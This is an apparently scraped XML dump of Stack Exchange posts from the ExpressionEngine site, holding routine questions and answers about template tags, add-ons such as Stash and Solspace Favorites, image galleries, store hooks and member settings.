  <row Id="28752" PostTypeId="2" ParentId="28747" CreationDate="2015-01-30T20:58:55.200" Score="2" Body="&lt;p&gt;Not sure if this still works but might be worth a try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{categories}{category_name}{/categories}&quot; != &quot;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;via: &lt;a href=&quot;https://ellislab.com/forums/viewthread/136676/#673690&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/forums/viewthread/136676/#673690&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2015-01-30T20:58:55.200" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28753" PostTypeId="2" ParentId="28727" CreationDate="2015-01-30T21:00:46.087" Score="0" Body="&lt;p&gt;Not sure if 'Allow EE Code' can apply to a channel form but it works for CP side fields... &lt;a href=&quot;https://devot-ee.com/add-ons/allow-ee-code&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/allow-ee-code&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2015-01-30T21:00:46.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28754" PostTypeId="2" ParentId="28722" CreationDate="2015-01-30T21:02:07.347" Score="0" Body="&lt;p&gt;If you are just looking to fix up your imported data one time and don't need to repeat the import the simplest solution might be a quick SQL query. :)&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2015-01-30T21:02:07.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28755" PostTypeId="1" AcceptedAnswerId="28756" CreationDate="2015-01-30T21:41:00.263" Score="1" ViewCount="171" Body="&lt;p&gt;So if the user enters their e-mail as part of the form that's submitted, and the administrator gets a notification, could that notification's &quot;reply to&quot; field be from the e-mail that was submitted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be convenient because if the person notified wanted to reply to the user, they'd just hit reply, instead of having to copy/paste the e-mail into the e-mail field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently notification &quot;from e-mail&quot; field is always set to the e-mail address that's set in Admin / Email Config / Return email address for auto generated emails.&lt;/p&gt;&#xA;" OwnerUserId="5003" LastActivityDate="2015-01-30T22:30:49.197" Title="Is it possible to set the return email address based on user input?" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28756" PostTypeId="2" ParentId="28755" CreationDate="2015-01-30T22:21:21.387" Score="2" Body="&lt;p&gt;Sure you can add the field in the Reply to Email field in your notifications template. For example I use {email} which is the field I have set up to capture their email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3chHX.png&quot; alt=&quot;Notifications screen grab&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="547" LastEditorUserId="547" LastEditDate="2015-01-30T22:30:49.197" LastActivityDate="2015-01-30T22:30:49.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28757" PostTypeId="2" ParentId="28640" CreationDate="2015-01-30T23:35:12.630" Score="0" Body="&lt;p&gt;Update to this, Brad pointed me in the right direction...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The javascript method can only be used on a single product page. Try using  {total_stock} instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Worked perfectly.&lt;/p&gt;&#xA;" OwnerUserId="547" LastEditorUserId="547" LastEditDate="2015-02-03T18:57:13.607" LastActivityDate="2015-02-03T18:57:13.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28758" PostTypeId="1" AcceptedAnswerId="28772" CreationDate="2015-01-31T07:47:45.260" Score="0" ViewCount="63" Body="&lt;p&gt;I am using Nathan Pitman's &lt;a href=&quot;https://github.com/nathanpitman/reports.mod.ee_addon&quot; rel=&quot;nofollow&quot;&gt;Reports module&lt;/a&gt; to allow our client to export some custom information. I wrote up the SQL query and it works great. The only issue I have is that the first row (the header row) uses numbers for the column names, like shown here: &lt;a href=&quot;http://cl.ly/image/3U2O451s1F3y&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/image/3U2O451s1F3y&lt;/a&gt; I'd like to make those show as proper headers that make sense to the client. (For example: Member Group, Email, First Name, Company, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Reports module does allow for post-processing but that is where I'm lost. I have no idea how to properly write the PHP to change the header row to what I need the column titles to be. I'd really appreciate some help here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT &#xA;      exp_member_groups.group_title as 'Member Group',&#xA;      exp_members.email as 'Email', exp_members.username as 'Username', exp_members.screen_name as 'Screen Name',&#xA;      exp_channel_data.field_id_13 as 'First Name', exp_channel_data.field_id_14 as 'Last Name',&#xA;      exp_channel_data.field_id_68 as 'OCB Member ID', exp_channel_data.field_id_59 as 'Company'&#xA;    FROM exp_channel_data&#xA;    JOIN exp_channel_titles ON exp_channel_data.entry_id = exp_channel_titles.entry_id&#xA;    JOIN exp_members ON exp_channel_titles.author_id = exp_members.member_id&#xA;    JOIN exp_member_groups ON exp_members.group_id = exp_member_groups.group_id&#xA;    WHERE exp_channel_data.channel_id = '6'&#xA;    AND exp_members.group_id = '11'&#xA;    OR exp_members.group_id = '10'&#xA;    OR exp_members.group_id = '9'&#xA;    OR exp_members.group_id = '8';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="132" LastEditorUserId="132" LastEditDate="2015-01-31T16:32:33.983" LastActivityDate="2015-02-01T13:45:55.963" Title="Using Reports module, need first row of CSV to be custom" Tags="|add-on|php|csv|reports|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28759" PostTypeId="1" CreationDate="2015-01-31T08:48:41.093" Score="0" ViewCount="123" Body="&lt;p&gt;I have an EE embed that processes PHP code. I would like to capture that output with a Stash variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using a model/view approach, ie. have one template to retrieve the data and another to output the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this code working correctly in my model:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;my_var&quot;}&#xA;    {embed=&quot;resources/store-post-data&quot;}&#xA;{/exp:stash:set}&#xA;&#xA;&amp;lt;h2&amp;gt;Test&amp;lt;/h2&amp;gt;&#xA;{exp:stash:my_var}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and get results as expected:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Test&#xA;MyPostParameterValueHere&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I use the exact same code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:my_var}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in my view I get the string&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;resources/store-post-data&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and not the output of the embed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="3772" LastActivityDate="2016-06-10T10:58:56.837" Title="How to capture EE embed output with Stash variable?" Tags="|stash|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28760" PostTypeId="2" ParentId="28727" CreationDate="2015-01-31T09:53:07.910" Score="0" Body="&lt;p&gt;Please have a look at the &lt;a href=&quot;http://www.solspace.com/docs/tag/using_with_channel_form/&quot; rel=&quot;nofollow&quot;&gt;Tag documentation for use in the EE Channel Form&lt;/a&gt;. The &lt;code&gt;{custom_fields}&lt;/code&gt; tag pair might not work: try using the field as in the example in the documentation: &lt;code&gt;{field:tag_fieldtype_name}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To hide the &quot;suggest tags&quot;/&quot;top tags&quot; sections, you can do so using javascript of (even better) CSS.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-01-31T09:53:07.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28761" PostTypeId="1" AcceptedAnswerId="28776" CreationDate="2015-01-31T10:37:06.240" Score="0" ViewCount="29" Body="&lt;p&gt;Just upgraded my solspace favorite to version 4.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In favorite version 3 I could use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {if saved}{/if} and {if not_saved}{/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question:&#xA;I want to use a variable to set my css to &quot;active&quot;&#xA;So if I already added that member to my favorites the link will be red.&#xA;If not than the link will be blue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I tried so far and does not work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:favorites:info username=&quot;{visitor:email}&quot; disable_pagination=&quot;yes&quot;}&#xA;  {if favorites:favorite_id == &quot;{favorites:favorite_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:favorites:members favorites_username=&quot;{visitor:email}&quot; disable_pagination=&quot;yes&quot;}&#xA;  {if favorites_username == &quot;{visitor:email}&quot;}&#xA;  &amp;lt;li class=&quot;item-1 active&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;fav&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  {if:else}&#xA;  &amp;lt;li class=&quot;item-1&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;fav&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  {/if} &#xA;  {/exp:favorites:members}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope someone could point me in the right direction...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solspace Favorite 4.0.2&#xA;Expressionengine 2.9.2&lt;/p&gt;&#xA;" OwnerUserId="394" LastEditorUserId="394" LastEditDate="2015-02-02T08:02:40.133" LastActivityDate="2015-02-02T09:08:01.710" Title="solspace favorite 4.0 if variable" Tags="|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28762" PostTypeId="1" CreationDate="2015-01-31T12:03:03.973" Score="1" ViewCount="66" Body="&lt;p&gt;I have a project where we display a table of books and a column in that table represents a playa field where 1 or more related authors may be selected. I would really like to then be able to sort on author with the first playa entry for each book being considered the 'primary' author and the sort apply to that...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3sU1R.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The results I get when trying to order by this field appear to be rather random, wondering if this is partially related to &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/21439/using-playa-field-to-order-channel-entries-list&quot;&gt;Using Playa field to order channel entries list&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="389" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-02-05T14:11:55.213" Title="How to deal with 'sort by' on author field (playa) where there are multiple authors" Tags="|playa|sort|sorting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28763" PostTypeId="2" ParentId="21439" CreationDate="2015-01-31T12:04:08.717" Score="0" Body="&lt;p&gt;The only way I can think to address this is to do some kind of post save processing to save a text string representing the title of the related entry to a custom searchable field. :/&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2015-01-31T12:04:08.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28764" PostTypeId="2" ParentId="12338" CreationDate="2015-01-31T12:04:30.753" Score="1" Body="&lt;p&gt;It may be that you have your EE installation set up to disallow simultaneous log ins. This means that if you are logged into the site from one location/machine then you cannot log in using the same account on a different machine until the other one logs out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To 'fix' this so you can log in, take a look in the exp_sessions table and remove any sessions that match your member id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are then able to log in, that was the problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To turn this off go to Admin-&gt;Security and Privacy-&gt;Security and Sessions and turn on the option marked &quot;Allow multiple log-ins from a single account?&quot;&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-01-31T12:04:30.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28765" PostTypeId="1" CreationDate="2015-01-31T16:18:44.983" Score="1" ViewCount="167" Body="&lt;p&gt;This is probably really simple to solve but I've got stuck in a dead end. I want to allow users to upload single or multiple images using an Assets image field (resizing with CE Image) within a Content Elements panel, and then display &lt;em&gt;all&lt;/em&gt; thumbnails if there's more than one image. Then I use content switcher jQuery to swap out the images. Simple? Not really. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I could find to show all thumbnails if more than a single image was to use the Assets variable 'total_files' in a conditional, not 'count'. Using '{if count &gt; &quot;1&quot;}' only thumbnails for images excluding the first image were shown, using {if count &gt;=&quot;1&quot;} showed all thumbnails, but also showed a single thumbnail when only one image was present. But, using '{if total_files &gt; &quot;1&quot;}' does show all thumbs however I can't now stop all the large images from displaying. I need to find a way to limit the large image displayed to a single image but I just can't seem to solve it. If anyone can point me in a new direction to solve this I'll be very grateful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my current rather messy code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;!--IMAGE SLIDESHOW IN BODY--&amp;gt;&#xA;    {assets}&#xA;    &amp;lt;div class=&quot;article-image&quot;&amp;gt;&#xA;&#xA;    {files kind=&quot;image&quot;}&#xA;&#xA;    {exp:ce_img:pair src=&quot;{url}&quot; width=&quot;800&quot; height=&quot;400&quot;}&#xA;&#xA;            &amp;lt;div id=&quot;switcher-panel&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;!--/#switcher-panel to swap out images from thumbs--&amp;gt;&#xA;&#xA;            {if total_files == &quot;1&quot;}&#xA;&#xA;                    &amp;lt;div id=&quot;{name}-content&quot; class=&quot;switcher-content show&quot;&amp;gt;&amp;lt;a class=&quot;switcher&quot;&amp;gt;{exp:ce_img:single src=&quot;{url}&quot; width=&quot;800&quot; height=&quot;400&quot; crop=&quot;yes&quot;}&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;div class=&quot;image-credit-hover&quot;&amp;gt;{title} | {author} | {location}&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;            {/if}&#xA;&#xA;            {if total_files &amp;gt; &quot;1&quot;}&#xA;&#xA;                    &amp;lt;div id=&quot;{name}-content&quot; class=&quot;switcher-content show&quot;&amp;gt;&amp;lt;a class=&quot;switcher&quot;&amp;gt;{exp:ce_img:single src=&quot;{url}&quot; width=&quot;800&quot; height=&quot;400&quot; crop=&quot;yes&quot;}&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;div class=&quot;image-credit-hover&quot;&amp;gt;{title} | {author} | {location}&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;article-image-thumbs&quot;&amp;gt;&#xA;                    {exp:ce_img:bulk src=&quot;{url}&quot; width=&quot;120&quot; height=&quot;90&quot; crop=&quot;yes&quot; attributes ='style=&quot;float:left;margin:0 auto;&quot;'}&amp;lt;a id=&quot;{name}&quot; class=&quot;switcher&quot;&amp;gt;&amp;lt;img src=&quot;{url}&quot; alt=&quot;&quot; width=&quot;{width}&quot; height=&quot;{height}&quot;  /&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    {/exp:ce_img:bulk}&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                    &amp;lt;div id=&quot;{name}-content&quot; class=&quot;switcher-content&quot;&amp;gt;&#xA;                    &amp;lt;a&amp;gt;{exp:ce_img:single src=&quot;{url}&quot; width=&quot;800&quot; height=&quot;400&quot; crop=&quot;yes&quot;}&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;div class=&quot;image-credit-hover&quot;&amp;gt;{title} | {author} | {location}&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;            {/if}&#xA;&#xA;            {/exp:ce_img:pair}&#xA;&#xA;    {/files}&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/assets}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1094" LastActivityDate="2015-10-29T02:56:50.657" Title="Assets images and Content Elements with conditionals to control number of images displayed" Tags="|assets|ce-image|content-elements|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28767" PostTypeId="1" CreationDate="2015-01-31T18:53:41.220" Score="1" ViewCount="169" Body="&lt;p&gt;When I review channel entries from the admin control panel, menu: &quot;Content-&gt;Edit-&gt;Channel Name&quot;, some entries in the list have an asterisk at the end of the title. What does this mean?&lt;/p&gt;&#xA;" OwnerUserId="4992" LastActivityDate="2015-02-01T09:28:10.973" Title="Asterisk next to channel entry title" Tags="|channel-entries|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28768" PostTypeId="2" ParentId="28722" CreationDate="2015-01-31T20:04:15.047" Score="1" Body="&lt;p&gt;Apparently I did not have the default status group linked to that particular channel. That why Importer could not apply the 'Open' status...&lt;/p&gt;&#xA;" OwnerUserId="777" LastActivityDate="2015-01-31T20:04:15.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28769" PostTypeId="2" ParentId="28765" CreationDate="2015-01-31T20:56:11.243" Score="1" Body="&lt;p&gt;It's always the way - you solve you're own question after posting but Ive left it up in case anyone else might struggle with this for some reason. I got it to work with the following code, a mixture of 'total_files' and limiting entry numbers in the assets/files variable. It doesn't seem tidy, but it does work. (NB Im not using Content Elements built in Gallery field as it doesn't have easy meta data input and isn't consistent image handling for my users.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;!--IMAGE SLIDESHOW IN BODY--&amp;gt;&#xA;            {assets}&#xA;            &amp;lt;div class=&quot;article-image&quot;&amp;gt;&#xA;&#xA;            {files kind=&quot;image&quot; limit=&quot;1&quot;}&#xA;&#xA;                &amp;lt;div id=&quot;{name}-content&quot; class=&quot;switcher-content show&quot;&amp;gt;&#xA;                &amp;lt;a&amp;gt;{exp:ce_img:single src=&quot;{url}&quot; width=&quot;800&quot; height=&quot;400&quot; crop=&quot;yes&quot;}&amp;lt;/a&amp;gt;&#xA;                &amp;lt;div class=&quot;image-credit-hover&quot;&amp;gt;{title} | {author} | {location}&amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;            {/files}&#xA;&#xA;            {files kind=&quot;image&quot; limit=&quot;10&quot;}&#xA;&#xA;            &amp;lt;div id=&quot;switcher-panel&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;!--/#switcher-panel to swap out images from thumbs--&amp;gt;&#xA;&#xA;            {if total_files &amp;gt; &quot;1&quot;}&#xA;&#xA;                {exp:ce_img:pair src=&quot;{url}&quot; width=&quot;800&quot; height=&quot;400&quot;}          &#xA;                &amp;lt;div class=&quot;article-image-thumbs&quot;&amp;gt;&#xA;                {exp:ce_img:bulk src=&quot;{url}&quot; width=&quot;120&quot; height=&quot;90&quot; crop=&quot;yes&quot; attributes ='style=&quot;float:left;margin:0 auto;&quot;'}&amp;lt;a id=&quot;{name}&quot; class=&quot;switcher&quot;&amp;gt;&amp;lt;img src=&quot;{url}&quot; alt=&quot;&quot; width=&quot;{width}&quot; height=&quot;{height}&quot;  /&amp;gt;&amp;lt;/a&amp;gt;&#xA;                {/exp:ce_img:bulk}&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;div id=&quot;{name}-content&quot; class=&quot;switcher-content&quot;&amp;gt;   &#xA;                {exp:ce_img:bulk src=&quot;{url}&quot; width=&quot;800&quot; height=&quot;400&quot; crop=&quot;yes&quot; attributes ='style=&quot;float:left;margin:0 auto;&quot;'}&amp;lt;a id=&quot;{name}&quot; class=&quot;switcher&quot;&amp;gt;&amp;lt;img src=&quot;{url}&quot; alt=&quot;&quot; width=&quot;{width}&quot; height=&quot;{height}&quot;  /&amp;gt;&amp;lt;/a&amp;gt;&#xA;                 &amp;lt;div class=&quot;image-credit-hover&quot;&amp;gt;{title} | {author} | {location}&amp;lt;/div&amp;gt;&#xA;                {/exp:ce_img:bulk}    &#xA;                &amp;lt;/div&amp;gt;&#xA;                {/exp:ce_img:pair}  &#xA;&#xA;            {/if}&#xA;&#xA;            {/files}&#xA;            &amp;lt;/div&amp;gt; &amp;lt;!--/.article-image--&amp;gt;  &#xA;            {/assets}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1094" LastActivityDate="2015-01-31T20:56:11.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28771" PostTypeId="2" ParentId="28767" CreationDate="2015-02-01T09:28:10.973" Score="3" Body="&lt;p&gt;If an entry has auto-saved data which hasn't been saved manually yet, the entry will be marked with the asterisk you're seeing.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-02-01T09:28:10.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28772" PostTypeId="2" ParentId="28758" CreationDate="2015-02-01T13:45:55.963" Score="0" Body="&lt;p&gt;Ok, try a fresh download from &lt;a href=&quot;https://github.com/nathanpitman/reports.mod.ee_addon&quot; rel=&quot;nofollow&quot;&gt;https://github.com/nathanpitman/reports.mod.ee_addon&lt;/a&gt; and see if that works... :)&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2015-02-01T13:45:55.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28773" PostTypeId="1" AcceptedAnswerId="28774" CreationDate="2015-02-01T22:53:29.913" Score="1" ViewCount="62" Body="&lt;p&gt;As admin, I assigned a Member entry to myself, but after completing that action I was unable to re-assign that entry back to the member. In fact the member's screenname doesn't even show up in the list of Authors anymore. How do I give that entry back to the member?&lt;/p&gt;&#xA;" OwnerUserId="4992" LastActivityDate="2015-02-02T15:59:22.973" Title="Assign Entry to Member" Tags="|entry|author|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28774" PostTypeId="2" ParentId="28773" CreationDate="2015-02-01T23:45:42.983" Score="2" Body="&lt;p&gt;You will need to goto Members &gt; Member Groups &gt; [The member group the member is a question of] Edit Group &gt; Scroll down to Member Account Privileges. Look for &quot;Include Members in PUBLISH page multi-author list?&quot; and select &quot;Yes&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You shouldn't need to assign the entry to yourself as an admin though you should be able to edit it fine either way.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-02-01T23:45:42.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28775" PostTypeId="1" AcceptedAnswerId="28785" CreationDate="2015-02-02T02:37:38.573" Score="0" ViewCount="57" Body="&lt;p&gt;I want to completely disable Editor for my Category Descriptions and have it revert back to the simple text area field that ships with EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to do this?&lt;/p&gt;&#xA;" OwnerUserId="1134" LastActivityDate="2015-02-02T18:46:48.000" Title="How to disable Editor (DevDemon) for Category Descriptions" Tags="|categories|devdemon|editor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28776" PostTypeId="2" ParentId="28761" CreationDate="2015-02-02T09:08:01.710" Score="0" Body="&lt;p&gt;To check if a member has been favorited, you would use &lt;code&gt;{exp:favorites:info}&lt;/code&gt; and check if there are any results (which means the member has been favorited) or not (which means the member has not been favorited). Eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:favorites:info member_id=&quot;3&quot;}&#xA;    RED (favorited)&#xA;    {if favorites:no_results}&#xA;        BLUE (not favorited)&#xA;    {/if}&#xA;{/exp:favorites:info}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As with any &quot;if no_results&quot;-type conditionals, when that conditional is true, everything outside of the conditional will not parse nor be displayed (which is why &quot;RED&quot; isn't wrapped with anything above).&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-02-02T09:08:01.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28777" PostTypeId="1" AcceptedAnswerId="28787" CreationDate="2015-02-02T14:35:05.400" Score="2" ViewCount="117" Body="&lt;p&gt;I'm not sure if is deliberate, but the way hooks have been implemented in Exp:resso Store don't seem to allow the modification of data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using pass by reference has no effect (because of EE's hook calling approach?); any changes made to the data passed in the params is not available in the same variables in the hook calling method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there doesn't seem to be any point returning data from the extension method because there is no assignment in the Order model's addItem method, where the hook is called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are the hooks designed to expose data for reading-only? If I have to start hacking the Store logic code to add an assignment, or messing about modifying the records in the database, then the likelihood of functionality breaking with an update is high.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm disappointed this type of situation wasn't envisioned by the module developers. Why limit the hooks like this?&lt;/p&gt;&#xA;" OwnerUserId="5006" LastActivityDate="2015-02-02T20:10:50.110" Title="Altering item data from store_order_item_add hooks (_start or _end)" Tags="|expresso-store|hook|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28778" PostTypeId="1" AcceptedAnswerId="28783" CreationDate="2015-02-02T15:07:17.820" Score="2" ViewCount="693" Body="&lt;p&gt;I want to build a very simple linear survey with multiple choice questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each answer will be assigned a numeric value and I was hoping to pass that value via segment variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So at the end of the survey I could do something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;segment_1 &lt;strong&gt;plus&lt;/strong&gt; segment_2 &lt;strong&gt;plus&lt;/strong&gt; segment_3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;= (value)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g mysite.com/template/01/08/09&lt;/p&gt;&#xA;&#xA;&lt;p&gt;would give a numeric value of 18&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then use that value to conditionally display another template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible, advisable or just plain crazy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="98" LastActivityDate="2015-02-03T01:10:33.653" Title="Can I do math on segment variables?" Tags="|segments|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28782" PostTypeId="2" ParentId="28777" CreationDate="2015-02-02T16:33:15.087" Score="0" Body="&lt;p&gt;What Store hook are you using? You can definitely modify Store data using an extension. Did you try using &lt;code&gt;$order-&amp;gt;save()&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function store_order_complete_start($order)&#xA;{   &#xA;&#xA;    // Save some custom data on the order&#xA;    $order-&amp;gt;order_custom4 = $my_custom_data;&#xA;    $order-&amp;gt;save();&#xA;&#xA;    return $order;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastActivityDate="2015-02-02T16:33:15.087" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28783" PostTypeId="2" ParentId="28778" CreationDate="2015-02-02T16:42:43.590" Score="3" Body="&lt;p&gt;Theoretically it is possible.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;IF you are on EE 2.9+ you can use &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/conditionals.html#mathematic-operators&quot; rel=&quot;nofollow&quot;&gt;Mathematical Operators&lt;/a&gt; in your&#xA;conditionals. (Thanks Derek for reminding me about that!)&lt;/li&gt;&#xA;&lt;li&gt;If you are using a version below EE2.9 you would need to use&#xA;something like &lt;a href=&quot;https://devot-ee.com/add-ons/mx-calculator&quot; rel=&quot;nofollow&quot;&gt;MX Calc&lt;/a&gt; to calculate the totals and then use that to&#xA;call an embed to get around parse order issues.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Having said that is probably not the best approach because EE only allows you to have 10 segments so your test could only have 10 questions (more likely 8 if you have a template_group/template structure already in place). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would be better off either doing the calculation when the user submits the form and appending the total value to the url or better yet determine the template you want to display and change the redirect value to that based upon the total.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be submitting the form and then using something like Mo Variables to grab the POST data on the next page.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2015-02-03T01:10:33.653" LastActivityDate="2015-02-03T01:10:33.653" 